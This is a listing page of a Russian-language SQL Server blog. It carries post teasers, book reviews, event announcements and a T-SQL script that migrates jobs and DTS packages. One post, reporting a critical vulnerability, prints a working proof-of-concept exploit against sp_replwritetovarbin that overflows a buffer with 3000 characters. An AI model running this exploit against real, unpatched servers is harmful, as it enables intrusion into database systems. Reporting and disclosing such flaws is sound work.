SQL Server
Достаточно часто на различных форумах появляется вопрос, подобно этому: “…необходимо переодически формировать отчеты по таблицам БД в виде файла html…как реализовать?”
С появлением Reporting Services, задача очень облегчается, но как реализовать эту задачу на T-SQL (без использование и CLR тоже)?
Первый способ-это использование процедур Web Assistant (sp_makewebtask, sp_dropwebtask, sp_runwebtask, sp_enumcodepages).
Наполнять страницу будем результатом запроса SELECT ID, NAME, [ Читать далее...
Читать далее
Категория:
SQL Server
|
Алексей Жилинский
Самоучитель Microsoft SQL Server 2008
Серия: Самоучитель
Издательство: БХВ-Петербург, 2009 г.
Мягкая обложка, 240 стр.
ISBN 978-5-9775-0217-7
Тираж: 2000 экз.
Формат: 70×100/16
О книге:
Рассмотрены основы работы с СУБД Microsoft SQL Server 2008, начиная с вопросов установки, создания и программирования баз данных и заканчивая описанием специальных возможностей SQL Server, включая интеграцию с NET Framework, работ с XML и использование различных служб. Большое внимание [ Читать далее...
Читать далее
Категория:
SQL Server
|
Как известно в SQL Server можно выбрать один из двух типов аутинтификации - Windows Authentication (Аутентификация Windows) или SQL Server Authentication (Аутентификация SQL Server).
Сменить режим аутентификации на сервере с помощью SSMS (SQL Server Management Studio) либо с помощью EM (Entreprise Manager) достаточно легко, достаточно в свойствах сервера перейти на закладку Security и установить нужную “галку”.
После [ Читать далее...
Читать далее
Категория:
SQL Server
|
Спустя 1,5 года, очередное изменение протокола вынудило меня снова вернуться к утилите SQL_ICQ_Console. В этот раз я решил сделать её в виде службы Windows. Придумал ей новое имя (ICQService) и выкладываю на ваше обозрение. Программа абсолютно бесплатная и может быть использована в любых целях. Ответственность я ни за что не несу. :)))
Кратко опишу для чего [ Читать далее...
Читать далее
Категория:
SQL Server
|
Сегодня на TechNet заработал новый движек форума!!!
В форумах появился новый топик: Этот форум успешно переведен на новую платформу в январе 2009 г.
Вследствие этого, возможность создания новых сообщений и тем на платформе Forums 2.x заблокирована.
Если вы хотите сообщить об ошибках новой форумной платформы, перейдите по ссылке: http://social.msdn.microsoft.com/Forums/en-US/reportabug/threads/
Чтобы отправить предложения относительно работы новой форумной платформы перейдите по ссылке: http://social.msdn.microsoft.com/Forums/en-US/suggest/threads/
Благодарим [ Читать далее...
Читать далее
Категория:
SQL Server
|
Большая подборка презентаций по MS SQL Server 2008 от экспертов Microsoft.
1. Using the Microsoft Data Platform for Easy Data Access with SQL Server 2008
March 03, 2008 60 minutes - Ron Cundiff
2. Reach Your Data with SQL Server 2008
March 05, 2008 60 minutes - Ron Cundiff
3. Streamline Data Access with SQL Server 2008
March 10, 2008 60 [ Читать далее...
Читать далее
Категория:
SQL Server
|
|
В очередной раз получив вопрос, как быстро перенести большой объём Job`ов и DTS-пакетов с MS SQL Server 2000 на MS SQL Server 2005/2008, решил выложить скрипт, который я писал в своё время при переносе БД на, ещё тогда, новый SQL Server 2005. Может кому-то ещё он будет полезен.
--Для начала к нашему новому серверу БД линкуем старый сервер MS SQL Server 2000
--на котором расположены наши ДЖОБы и ДТСы
--Переходим в контекст БД msdb
USE msdb
DECLARE @LinkedServ NVARCHAR(128)
SET @LinkedServ=N'MyLinkedServer2000'--Linked Server!!!
-----------------------------------------
--Импорт JOB'ов
-----------------------------------------
EXEC
( '
insert into msdb.dbo.sysjobs
SELECT [job_id]
,0
,[name]
,[enabled]
,[description]
,[start_step_id]
,[category_id]
,[owner_sid]
,[notify_level_eventlog]
,[notify_level_email]
,[notify_level_netsend]
,[notify_level_page]
,[notify_email_operator_id]
,[notify_netsend_operator_id]
,[notify_page_operator_id]
,[delete_level]
,[date_created]
,[date_modified]
,[version_number]
FROM ' +@LinkedServ+'.msdb.dbo.sysjobs
' )
------------------------------------------------
------------------------------------------------
--Импорт STEP'ов
------------------------------------------------
CREATE TABLE #tempSteps
(
id INT IDENTITY
, job_ID UNIQUEIDENTIFIER
, step_name NVARCHAR(128)
, step_id INT
, cmdexec_success_code INT
, on_success_action INT
, on_success_step_id INT
, on_fail_action INT
, on_fail_step_id INT
, retry_attempts INT
, retry_interval INT
, os_run_priority INT
, subsystem NVARCHAR(40)
, command NVARCHAR(MAX)
, database_name NVARCHAR(128)
, flags INT
)
EXEC
( '
insert into #tempSteps select
job_ID
,step_name
,step_id
,cmdexec_success_code
,on_success_action
,on_success_step_id
,on_fail_action
,on_fail_step_id
,retry_attempts
,retry_interval
,os_run_priority
,subsystem
,command
,database_name
,flags
FROM ' +@LinkedServ+'.msdb.dbo.sysjobsteps
' )
DECLARE @job_ID UNIQUEIDENTIFIER
DECLARE @step_name NVARCHAR(128)
DECLARE @step_id INT
DECLARE @cmdexec_success_code INT
DECLARE @on_success_action INT
DECLARE @on_success_step_id INT
DECLARE @on_fail_action INT
DECLARE @on_fail_step_id INT
DECLARE @retry_attempts INT
DECLARE @retry_interval INT
DECLARE @os_run_priority INT
DECLARE @subsystem NVARCHAR(40)
DECLARE @command NVARCHAR(MAX)
DECLARE @database_name NVARCHAR(128)
DECLARE @flags INT
DECLARE @i INT
SET @i=1
WHILE @i<=(SELECT COUNT(*) FROM #tempSteps )
BEGIN
SELECT
@job_ID =job_ID
, @step_name =step_name
, @step_id =step_id
, @cmdexec_success_code =cmdexec_success_code
, @on_success_action =on_success_action
, @on_success_step_id=on_success_step_id
, @on_fail_action =on_fail_action
, @on_fail_step_id =on_fail_step_id
, @retry_attempts =retry_attempts
, @retry_interval =retry_interval
, @os_run_priority =os_run_priority
, @subsystem =subsystem
, @command =command
, @database_name =database_name
, @flags =flags
FROM #tempSteps WHERE id=@i
EXEC msdb.dbo.sp_add_jobstep
@job_id =@job_id,
@step_name =@step_name,
@step_id =@step_id,
@cmdexec_success_code =@cmdexec_success_code,
@on_success_action =@on_success_action,
@on_success_step_id =@on_success_step_id,
@on_fail_action =@on_fail_action,
@on_fail_step_id =@on_fail_step_id,
@retry_attempts =@retry_attempts,
@retry_interval =@retry_interval,
@os_run_priority =@os_run_priority,
@subsystem =@subsystem,
@command =@command,
@database_name =@database_name,
@flags =@flags
SET @i=@i+1
END
DROP TABLE #tempSteps
-------------------------------------------------
-------------------------------------------------
--Цепляем Schedules на JOBs
-------------------------------------------------
CREATE TABLE #tempSchedules
(
id INT IDENTITY
, job_ID UNIQUEIDENTIFIER
, Name NVARCHAR(128)
, enabled INT
, freq_type INT
, freq_interval INT
, freq_subday_type INT
, freq_subday_interval INT
, freq_relative_interval INT
, freq_recurrence_factor INT
, active_start_date INT
, active_end_date INT
, active_start_time INT
, active_end_time INT
)
EXEC
( '
insert into #tempSchedules select
job_id
,name
,enabled
,freq_type
,freq_interval
,freq_subday_type
,freq_subday_interval
,freq_relative_interval
,freq_recurrence_factor
,active_start_date
,active_end_date
,active_start_time
,active_end_time
FROM ' +@LinkedServ+'.msdb.dbo.sysjobschedules
' )
DECLARE @JobID UNIQUEIDENTIFIER
DECLARE @Name NVARCHAR(128)
DECLARE @enabled INT
DECLARE @freq_type INT
DECLARE @freq_interval INT
DECLARE @freq_subday_type INT
DECLARE @freq_subday_interval INT
DECLARE @freq_relative_interval INT
DECLARE @freq_recurrence_factor INT
DECLARE @active_start_date INT
DECLARE @active_end_date INT
DECLARE @active_start_time INT
DECLARE @active_end_time INT
SET @i=1
WHILE @i<=(SELECT COUNT(*) FROM #tempSchedules)
BEGIN
select
@JobID =job_id
, @Name =name
, @enabled =enabled
, @freq_type =freq_type
, @freq_interval =freq_interval
, @freq_subday_type =freq_subday_type
, @freq_subday_interval =freq_subday_interval
, @freq_relative_interval= freq_relative_interval
, @freq_recurrence_factor =freq_recurrence_factor
, @active_start_date =active_start_date
, @active_end_date =active_end_date
, @active_start_time =active_start_time
, @active_end_time=active_end_time
FROM #tempSchedules WHERE id=@i
EXEC msdb.dbo.sp_add_jobschedule
@job_id =@jobId,
@name =@Name,
@enabled =@enabled,
@freq_type =@freq_type,
@freq_interval =@freq_interval,
@freq_subday_type =@freq_subday_type,
@freq_subday_interval =@freq_subday_interval,
@freq_relative_interval =@freq_relative_interval,
@freq_recurrence_factor =@freq_recurrence_factor,
@active_start_date =@active_start_date,
@active_end_date =@active_end_date,
@active_start_time =@active_start_time,
@active_end_time =@active_end_time
SET @i=@i+1
END
DROP TABLE #tempSchedules
--------------------------------
-------------------------------------------------
--Цепляем JOB'ы на сервер
-------------------------------------------------
EXEC
( '
insert into sysjobservers
SELECT [job_id]
,[server_id]
,[last_run_outcome]
,[last_outcome_message]
,[last_run_date]
,[last_run_time]
,[last_run_duration]
from ' +@LinkedServ+'.msdb.dbo.sysjobservers
' )
---------------------------------------------------
-------------------------------------------------
--ПЕРЕНОС DTS-ов
-------------------------------------------------
INSERT INTO msdb.dbo.sysdtspackages
SELECT [name]
,[id]
,[versionid]
,[description]
,[categoryid]
,[createdate]
,[owner]
,[packagedata]
,[owner_sid]
,0 FROM MyLinkedServer2000.msdb.dbo.sysdtspackages
--------------------------------------------------
Читать далее
Категория:
SQL Server
|

Вчера вечером корпорация Microsoft опубликовала экстренный бюллетень безопасности, в котором сообщается о налиции крайне критической уязвимости в системе Microsoft SQL Server.
Пользователя сообщили, что работе корпоративной СУБД угрожает серьезная опасность, так как эксплойт новой уязвимости уже находится в руках злоумышленников.
Атаке могут быть подвержены пользователи, использующие Microsoft SQL Server 2000, Microsoft SQL Server 2005, Microsoft SQL Server 2005 Express Edition, Microsoft SQL Server 2000 Desktop Engine (MSDE 2000), Microsoft SQL Server 2000 Desktop Engine (WMSDE) и Windows Internal Database (WYukon).
Отрадно то, что владельцы ПО Microsoft SQL Server 7.0 Service Pack 4, Microsoft SQL Server 2005 Service Pack 3 и Microsoft SQL Server 2008 могут спать спокойно – их базам данных ничего не угрожает.
Такая же проблема, не так давно, была обнаружена и в Internet Explorer, но тогда эпидемия атак расползлась по всей Сети молниеносно, что заставило Microsoft разработать внеплановый выпуск патча для своего браузера. В нынешнем случае мониторинг Microsoft не показывает серьезного распространения атак на SQL Server'ы.
Дата выпуска экстренных патчей для SQL Server пока не называются, однако в компании говорят, что "над устранением проблемы работают".
А так же примеры свободно разгуливающего по Всемирной Сети злоумышленного кода:
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
@end_offset output,
@vb_buffer output,
@vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3000
BEGIN
SET @counter = @counter + 1
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''
EXEC master..sp_executesql @buf
http://www.sec-consult.com/files/20081209_mssql-sp_replwritetovarbin_memwrite.txt
Читать далее
Категория:
SQL Server
|
|
12 декабря в УРГУ пройдёт очередная встреча Уральской группы пользователей .NET. Чем уникальна эта встреча и почему она привлекла моё внимание? Во первых тема: "SQL Server 2008. Полный контроль над информацией". А во вторых докладчик: Никита Шамгунов, разработчик SQL сервера из Microsoft Redmond.
Обязательно регистрируйтесь на встречу: http://unetug.ineta.ru/Events/EventOneSessionInfo.aspx?Id=9706e54b-5dac-49a4-ae7e-a1e156e69c05

{Никита Шамгунов} Разработчик «движка» SQL Server. Участвовал в разработке 2005 и 2008 версий. Работает над системой типов, XML и интеграцией сервера с .NET. Область интересов — современные системы хранения данных, масштабируемость, полуструктурированные данные. В прошлом призер всероссийских и международных олимпиад по программированию. Кандидат наук.
Читать далее
Категория:
SQL Server
|
|
Job Viewer Небольшая утилита для мониторинга Job`ов сразу на нескольких серверах, для работы достаточно прав SQLAgentReaderRole.

Удобно, если у вас на предприятии мониторингом Джобов занимается, помимо администратора, какой-либо оператор с ограниченными правами и тяжёлый клиент SSMS не подходит из-за избыточности.
Тестировалась тулза на 2005ом и 2008ом.
Ссылка на архив с программой (58 Кб)
Надеюсь, что кому-то пригодится
Читать далее
Категория:
SQL Server
|
|
|
SQL Server 2008. Ускоренный курс для профессионалов
(Accelerated SQL Server 2008)
Издательство: Вильямс, 2009 г. Твердый переплет, 768 стр. ISBN 978-5-8459-1481-1, 978-1-59-059969-3 Тираж: 2000 экз. Формат: 70x100/16 | С наступлением эпохи цифровых данных объемы информации, которой должны оперировать профессионалы в области баз данных, существенно возросли. Система SQL Server 2008 отражает текущие тенденции индустрии баз данных, фокусируясь на четырех ключевых темах: платформа данных уровня предприятия, выход за рамки реляционной модели, динамическая разработка и повсеместное проникновение. Новые средства, соответствующие этим темам, не только помогают справиться с бурным ростом объемов данных, но также являются исключительно ценными для таких показателей, как высокая доступность, масштабируемость, безопасность и организация информационных хранилищ. В настоящей книге предлагается обзор ключевой функциональности SQL Server 2008, который затрагивает наиболее важные темы для администраторов баз данных и прикладных разработчиков, в частности:
- средства, помогающие соблюдать требования законодательства, такие как аудит и прозрачное шифрование данных;
- резервное копирование и сжатие таблиц, что существенно повышает производительность и экономит дисковое пространство;
- программные расширения языка Transact-SQL, упрощающие разработчикам задачу построения приложений на платформе SQL Server;
- средства консолидации множества реализаций SQL Server, такие как Resource Governor;
- новое средство проектирования отчетов в рамках службы Reporting Services.
Авторы объединили собственный опыт в различных областях, связанных с SQL Server, чтобы предложить вам исчерпывающее практическое руководство по основным темам, которые должен знать будущий администратор или разработчик, при этом сопровождая темы набором реальных примеров. В результате вы сможете сразу же применить полученные знания в существующей бизнес-среде и получить устойчивую платформу для исследования дополнительных тем. Что ж, вооружитесь терпением, включите компьютер, приготовьте себе кофе и смело приступайте к изучению SQL Server 2008!
http://www.ozon.ru/context/detail/id/4138567/
Читать далее
Категория:
SQL Server
|
|
|
|